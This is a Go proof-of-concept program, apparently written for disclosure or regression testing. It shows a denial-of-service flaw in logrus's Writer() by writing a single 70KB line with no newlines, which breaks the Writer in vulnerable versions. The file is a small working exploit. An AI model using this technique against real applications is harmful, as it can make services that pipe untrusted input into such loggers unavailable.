package main

import (
	"bytes"
	"fmt"
	"time"

	"github.com/sirupsen/logrus"
)

// Improved PoC that demonstrates the DoS more clearly
// This version shows both the scanner error AND the hang condition

func main() {
	// Get version info from go.mod if available
	fmt.Println("=== logrus DoS PoC - Writer() >64KB single-line ===")
	fmt.Println()

	// Create logger
	logger := logrus.New()
	logger.SetLevel(logrus.InfoLevel)

	// Get Writer() - this is the vulnerable function
	w := logger.Writer()
	defer w.Close()

	// Create 70KB payload without newlines
	payload := bytes.Repeat([]byte("A"), 70000)
	fmt.Printf("Payload size: %d bytes (70KB, no newlines)\n", len(payload))
	fmt.Println()

	// Write the payload - this triggers the vulnerability
	fmt.Println("Writing payload to logrus.Writer()...")
	fmt.Println("This should trigger: 'bufio.Scanner: token too long' error")
	fmt.Println()

	_, err := w.Write(payload)
	if err != nil {
		fmt.Printf("Write error: %v\n", err)
	}

	// Wait to see if process hangs or continues
	fmt.Println("Waiting 10 seconds to observe behavior...")
	fmt.Println("In vulnerable versions, the process may hang or become unresponsive.")
	fmt.Println("In fixed versions, the process should continue normally.")
	fmt.Println()

	// Try to write more to see if Writer is still functional
	time.Sleep(2 * time.Second)
	fmt.Println("Attempting to write more data to Writer()...")
	_, err2 := w.Write([]byte("test\n"))
	if err2 != nil {
		fmt.Printf("Second write error (Writer is broken): %v\n", err2)
		fmt.Println("✓ DoS confirmed: Writer() is no longer functional")
	} else {
		fmt.Println("✓ Second write succeeded - Writer() is still functional (FIXED version)")
	}

	// Wait longer to show hang
	fmt.Println()
	fmt.Println("Waiting additional 8 seconds...")
	time.Sleep(8 * time.Second)

	fmt.Println()
	fmt.Println("=== PoC Complete ===")
	fmt.Println()
	fmt.Println("Expected results:")
	fmt.Println("- Vulnerable (v1.8.1): Error 'bufio.Scanner: token too long', Writer becomes unusable")
	fmt.Println("- Fixed (v1.8.3+): No error, Writer continues to function normally")
	fmt.Println()
	fmt.Println("The error message itself demonstrates the DoS vulnerability.")
	fmt.Println("The Writer() becomes unusable, causing application unavailability.")
}